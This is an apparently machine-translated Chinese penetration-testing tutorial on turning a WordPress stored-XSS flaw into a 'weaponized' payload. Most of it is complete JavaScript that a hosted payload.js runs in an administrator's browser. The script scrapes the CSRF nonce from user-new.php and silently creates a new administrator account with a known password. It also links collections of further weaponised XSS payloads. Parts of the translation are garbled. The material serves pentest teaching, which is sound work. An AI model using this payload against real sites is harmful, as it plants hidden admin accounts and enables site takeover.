在此文章中,我们将介绍一些简单的JavaScript技巧,用于创建武器化的跨站点脚本(XSS)负载。
如果您不喜欢阅读更多视频,请在此处以在线讲座形式观看此主题:
当我们确定一个XSS漏洞时,渗透测试人员通常使用简单的alert(1)有效载荷来演示JavaScript成功执行。尽管这可以有效地证明JavaScript的执行,但它不能突出恶意攻击者实际上可能会对易受攻击的Web应用程序执行的操作类型。开发武器化的XSS有效载荷可以更好地演示恶意攻击者可能采取的下一步措施,并且还具有相当多的破解乐趣。
那么,我们该如何处理XSS漏洞?好吧,如果未使用HttpOnly标志设置敏感的会话cookie ,我们可以读取该会话cookie的值并将其发送到我们控制的窃取该会话的第三方服务器。如今,这已不再是一种选择,因为大多数应用程序都在会话cookie上正确设置了HttpOnly标志,这将阻止JavaScript读取或写入这些cookie值。
但是,我们可以编写JavaScript,该JavaScript将从正在执行XSS代码的用户的浏览器向应用程序发出请求。而且对我们有帮助的是,当我们发出这些请求时,他们的浏览器会发送他们当前的会话cookie。因此,我们可能无法窃取他们的会话,但我们可能可以使用它。
让我们看一个简单的例子。我们将使用存储的XSS漏洞攻击WordPress服务器。当管理员预览权限较低的用户提交的帖子时,我们将添加一些可在管理员浏览器中运行的JavaScript。首先,我们将从基本的alert(1)有效负载开始。

预览此页面时,将按预期方式获得警报弹出窗口。

添加更复杂的有效负载的一种(1)简单方法是从远程服务器执行一个简单的脚本包含。这使我们可以监视有效负载的加载时间,查看XSS受害者从中请求我们的有效负载的IP地址,并在初始XSS注入后更新我们的有效负载。
让我们创建一个空的有效载荷文件:

现在,让我们启动一个简单的Web服务器来托管该文件。请注意,使用python3 http.server模块将提供当前目录中的所有文件供任何人下载,因此请确保您没有提供任何您不打算提供的文件。

现在,我们可以回到原始的XSS注入点,并将其更改为远程脚本包含。

我们的简单python网络服务器在端口8888上以IP地址192.168.78.135运行。如果我们碰巧访问此网站,您会看到一个简单的目录列表,其中列出了我们的有效负载目录。

如果我们再次预览后包含我们的XSS注入,您可以在我们看到http.server该payload.js文件是从IP地址请求192.168.78.135。

现在我们已经在自己的服务器上托管了一个JavaScript文件,我们可以开始向此有效负载添加功能,并查看运行它时会发生什么。让我们重新添加原始的alert(1)调用。

再次运行XSS注入,我们得到:

因此,现在我们要开始开发武器化的XSS有效载荷。我们将这些有效载荷添加到我们的payload.js文件中。为了轻松开发武器化的XSS负载,我们需要对目标应用程序进行某种形式的访问。在这篇文章中,我们正在研究可以在本地轻松设置的WordPress。
如果您无法设置要为其开发有效负载的应用程序的本地副本,则您将需要足够的访问权限来查看要设置为武器的请求。如果您拥有低特权帐户,则可以研究您的帐户可以向服务器发出的请求,并攻击使用该请求的其他帐户。如果您无法捕获和检查希望在有效负载中模拟的请求,那么即使不是不可能,创建武器化的有效负载也将具有挑战性。
我们将针对WordPress网站的管理员用户,并编写武器化的有效负载,以添加一个新的管理员用户,该用户的密码我们知道。首先,让我们捕获一个添加新的admin用户的示例请求,以查看有效负载必须模拟的内容。
创建新的管理员用户(以管理员身份登录)需要填写并提交WordPress表单。

提交此表单后,我们可以查看我们的Burp Suite代理历史记录以查找此请求。

回顾请求主体,我们看到许多参数作为此请求的一部分发送。

我们可以更改为Params选项卡,以在请求正文中更清晰地查看这些参数。

我们不必担心cookie参数-受害者的运行我们的恶意XSS有效负载的浏览器将为我们自动添加这些cookie。但是,我们确实必须精心设计此请求的主体。让我们仔细看看这些参数。

我们可以从新用户表单user_login,email和pass1,pass1-text和pass2中看到一些变量。在此示例中,我们使用了可怕的密码,并且必须选中“确认使用弱密码”复选框。通过选中该框,我们将参数pw_weak设置为on。我们还看到角色参数设置为administrator。
我们有一些静态参数:
action = createuser
_wp_http_referer = /wp-admin/user-new.php
Createuser = Add New User
我们将能够在我们的请求中对它们进行硬编码。
这使得该_wpnonce_create用户的 价值。这是针对跨站点请求伪造(CSRF)攻击的安全保护。如果该值不正确,服务器将拒绝我们的请求。它是随机生成的,并在发出此请求之前发送给客户端。现在让我们忽略它,稍后再返回。
让我们开始构建JavaScript有效负载以发出此请求。我们将使用XMLHttpRequest(XHR)API在后台异步发出请求。这样,由于我们的恶意请求是在后台发送的,我们的受害者不会注意到他们的浏览器处于锁定状态。
请注意,对于这种类型的武器化,更新的Fetch API也听起来很有希望。我们将把讨论内容保存在以后的文章中,但是有关此API的信息可以在本文底部的参考部分中找到。
我们知道我们需要通过检查Burp Suite中的请求来对端点/wp-admin/user-new.php进行POST 。让我们在payload.js文件中创建一个函数,并以该URI作为变量,以及我们先前在Burp Suite检查中确定的用户变量:
function addAdminUser()
{
var uri = “/wp-admin/user-new.php”;
var username = “sneakyuser”;
var email = “sneaky%40somewhere.com”;
var password = “password”;
}
这是一个好的开始。现在,我们需要创建XHR请求,该请求会将POST发送到我们定义的URI端点。将此添加到函数中:
…
xhr = new XMLHttpRequest();
xhr.open(“POST”, uri);
…
我们需要设置Content-Type标头,以便服务器知道如何处理要发送的正文。您可以在“标题”子选项卡上查看请求的标题。

通过将以下代码添加到函数中,我们可以在JavaScript中手动设置此标头:
…
xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
…
现在,我们准备开始整理我们的请求的主体。让我们再次看看我们的body参数。

我们将从对前三(3)个值进行硬编码开始。稍后我们将使_wpnonce_create-user参数动态化,但是现在,进行硬编码就可以了:
…
var body = “action=createuser&”;
body += “_wpnonce_create-user=1c0eb1d904&”;
body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;
…
通过对前三(3)个参数进行硬编码,我们现在将在函数顶部添加使用我们的某些变量的后两(2)个参数。回想一下,我们最初设置了一些变量,包括:
var username = “sneakyuser”;
var email = “sneaky%40somewhere.com”;
我们将在接下来的两行代码中引用这些变量。
…
body += “user_login=” + username + “&”;
body += “email=” + email + “&”;
…
当这些行附加到我们的正文末尾(+ =是附加操作)时,它们将以snekeyuser作为用户名,并以[email protected]作为电子邮件地址。
给出这些例子,身体的其余部分对您来说并不奇怪:
…
body += “first_name=&”;
body += “last_name=&”;
body += “uri=&”;
body += “pass1=” + password + “&”;
body += “pass1-text=” + password + “&”;
body += “pass2=” + password + “&”;
body += “pw_weak=on&”;
body += “send_user_notification=0&”;
body += “role=administrator&”;
body += “ure_select_other_roles=&”;
body += “createuser=Add+New+User”;
…
看起来不错!只需要做一(1)件事:发送请求。我们添加以下代码:
…
xhr.send(body);
…
我们的最终功能如下所示:
function addAdminUser()
{
var uri = “/wp-admin/user-new.php”;
var username = “sneakyuser”;
var email = “sneaky%40somewhere.com”;
var password = “password”;
xhr = new XMLHttpRequest();
xhr.open(“POST”, uri);
xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
var body = “action=createuser&”;
body += “_wpnonce_create-user=1c0eb1d904&”;
body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;
body += “user_login=” + username + “&”;
body += “email=” + email + “&”;
body += “first_name=&”;
body += “last_name=&”;
body += “uri=&”;
body += “pass1=” + password + “&”;
body += “pass1-text=” + password + “&”;
body += “pass2=” + password + “&”;
body += “pw_weak=on&”;
body += “send_user_notification=0&”;
body += “role=administrator&”;
body += “ure_select_other_roles=&”;
body += “createuser=Add+New+User”;
xhr.send(body);
}
我们还需要调用该函数以使其实际运行,因此在函数右括号后面添加:addAdminUser();
一旦将此函数保存在payload.js文件中,我们就可以在管理员会话中运行XSS有效负载。如果现时值尚未更改(手指交叉!),则应在运行addAdminUser函数时添加新的admin用户。

我们还可以在Burp Suite历史记录中找到该请求,以查看该请求的外观。

这个有效负载的问题在于,当我们在更改nonce值之后运行此负载时,我们的有效负载将不再起作用。为了接受我们的请求,我们的客户必须发送服务器期望的预定随机值。我们的客户知道此值,因为服务器在客户发出新用户POST请求之前的某个时候向该值发送了现时值。
当我们导航到之前填写的添加用户表单时,该表单在提交时即回发了,这就是我们的JavaScript正在仿真的POST表单。该原始形式包含一个具有正确随机数值的隐藏字段。
如果我们在Burp Suite代理历史记录中搜索对/wp-admin/user-new.php的GET请求,请选择该请求并查看服务器响应,我们可以在该响应中搜索_wpnonce_create-user。在这里可以找到该值。

要完成新的管理员攻击,我们需要一些其他代码来获取user-new.php 页面并解析出nonce值,然后再构造并发送恶意POST请求。
首先,我们需要一个辅助函数来帮助格式化服务器响应。该函数是:
function read_body(xhr)
{
var data;
if (!xhr.responseType || xhr.responseType === “text”)
{
data = xhr.responseText;
}
else if (xhr.responseType === “document”)
{
data = xhr.responseXML;
}
else if (xhr.responseType === “json”)
{
data = xhr.responseJSON;
}
else
{
data = xhr.response;
}
return data;
}
接下来,我们需要一个函数来获取带有nonce值的页面。URI与我们在POST请求中使用的值相同。
function findNonce()
{
var uri = “/wp-admin/user-new.php”;
xhr = new XMLHttpRequest();
xhr.open(“GET”, uri, true);
xhr.send(null);
}
请注意,此XHR请求使用的是GET请求,而不是 我们先前功能中的POST请求。此代码将为我们检索user-new.php页面。现在我们需要对响应进行一些处理。
到目前为止,我们不必等待请求完成。我们现在确实必须为此担心。我们将添加一些代码,这些代码将等待GET请求完成。
xhr.onreadystatechange = function()
{
if (xhr.readyState == XMLHttpRequest.DONE)
{
// do something
}
}
在我们的GET请求完成之前,不会执行“// do something”注释的内括号。这是我们需要放置响应解析代码以找到我们的现时值的地方。我们可以在内部括号中添加以下代码:
…
var response = read_body(xhr);
…
我们将XHR请求传递给添加的read_body帮助器函数,并且将响应作为文本取回并将其保存在响应 变量中。现在,此变量保存该页面的完整HTML内容,包括添加新的用户表单和现时值!
该响应中包含很多内容,我们希望缩小范围。让我们再次查看HTML中的随机数。

我们可以在响应中搜索此代码。一个很好的搜索字符串可能是’ ‘name =” _ wpnonce_create-user” value =”’。该字符串应该是静态的,并且在’value =’之后是我们需要隔离的实际内容。我们可以使用以下代码在响应中找到此字符串:
…
var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
console.log(“Nonce string index is: “ + noncePos);
…
这将在响应中找到此字符串的索引。我们可以将所有这些放在一起并打印出该索引。
function findNonce()
{
var uri = “/wp-admin/user-new.php”;
xhr = new XMLHttpRequest();
xhr.open(“GET”, uri, true);
xhr.send(null);
xhr.onreadystatechange = function()
{
if (xhr.readyState == XMLHttpRequest.DONE)
{
// do something
var response = read_body(xhr);
var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
console.log(“Nonce string index is: “ + noncePos);
}
}
}
我们复制此功能和辅助read_body()函数到payload.js并调用它。

如果我们在浏览器中打开Web开发人员控制台并以WordPress管理员的身份执行此有效负载,则可以在现时值所在位置附近看到索引。

我们可以在控制台打印语句下面的函数中添加更多代码。
…
var nonceVal = response.substring(noncePos, noncePos+100);
console.log(“Nonce substring is: “ + nonceVal);
…
这段代码将提取我们响应的子字符串,并将其保存到nonceVal变量中。我们将为该子字符串提供两(2)个索引:我们刚刚打印的noncePos和该索引加100。因此,在该子字符串中的某个位置,我们应具有我们的nonce值。

通过一些反复试验,可以很容易地校正这些偏移量,从而仅隔离现时值本身。


现在,我们可以集成findNonce函数和addAdminUser函数,以首先找到随机数,然后在请求中使用它来添加新的管理员用户。我们还将包含随机数值的主体行从硬编码更改为变量。
从这开始:
body += “_wpnonce_create-user=1c0eb1d904&”;
至此:
body += “_wpnonce_create-user=” + nonceVal + “&”;

完整的addAdminUser函数代码为:
function addAdminUser()
{
var uri = “/wp-admin/user-new.php”;
var username = “sneakyuser”;
var email = “sneaky%40somewhere.com”;
var password = “password”;
xhr = new XMLHttpRequest();
xhr.open(“GET”, uri, true);
xhr.send(null);
xhr.onreadystatechange = function()
{
if (xhr.readyState == XMLHttpRequest.DONE)
{
// Parse out the nonce
var response = read_body(xhr);
var noncePos = response.indexOf(‘name=”_wpnonce_create-user” value=”‘);
console.log(“Nonce string index is: ” + noncePos);
var nonceVal = response.substring(noncePos + 35, noncePos + 45);
console.log(“Nonce substring is: ” + nonceVal);
// Now add the user using our nonce
console.log(“Adding the user…”);
xhr = new XMLHttpRequest();
xhr.open(“POST”, uri);
xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
var body = “action=createuser&”;
body += “_wpnonce_create-user=” + nonceVal + “&”;
body += “_wp_http_referer=%2Fwp-admin%2Fuser-new.php&”;
body += “user_login=” + username + “&”;
body += “email=” + email + “&”;
body += “first_name=&”;
body += “last_name=&”;
body += “uri=&”;
body += “pass1=” + password + “&”;
body += “pass1-text=” + password + “&”;
body += “pass2=” + password + “&”;
body += “pw_weak=on&”;
body += “send_user_notification=0&”;
body += “role=administrator&”;
body += “ure_select_other_roles=&”;
body += “createuser=Add+New+User”;
xhr.send(body);
}
}
}
addAdminUser();
将此函数保存到payload.js文件中,然后以管理员用户身份再次运行,无论当前值是多少,现在都将始终导致添加新的管理员用户。


还有一个相当简单的示例,说明如何在应用程序中找到请求并编写JavaScript来重新创建该请求。能够做到这一点是一种强大的方法,可以利用它在应用程序中发现的XSS漏洞。
在https://github.com/hoodoer/WP-XSS-Admin-Funcs的GitHub存储库中,我实现了许多相同的功能来攻击WordPress管理员。
您可以在@hakluke出色的GitHub存储库中找到其他带武器的XSS示例,网址为https://github.com/hakluke/weaponised-XSS-payloads。
如果您想看到其中一些其他功能的演示,例如从WordPress上的XSS弹出一个抄表器外壳,我们最近有一个关于该主题的网络研讨会,您可以在以下网址找到:https :
//www.trustedsec.com/events / webinar-popping shells而不是警报框武器化xss的乐趣和利润/
如果到此为止,谢谢您抽出宝贵的时间来研究创建武器化有效载荷的简单示例(如果遇到了麻烦),如果有任何疑问,请随时与我们联系。
参考文献:
https://github.com/hoodoer/WP-XSS-Admin-Funcs
https://github.com/hakluke/weaponised-XSS-payloads
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest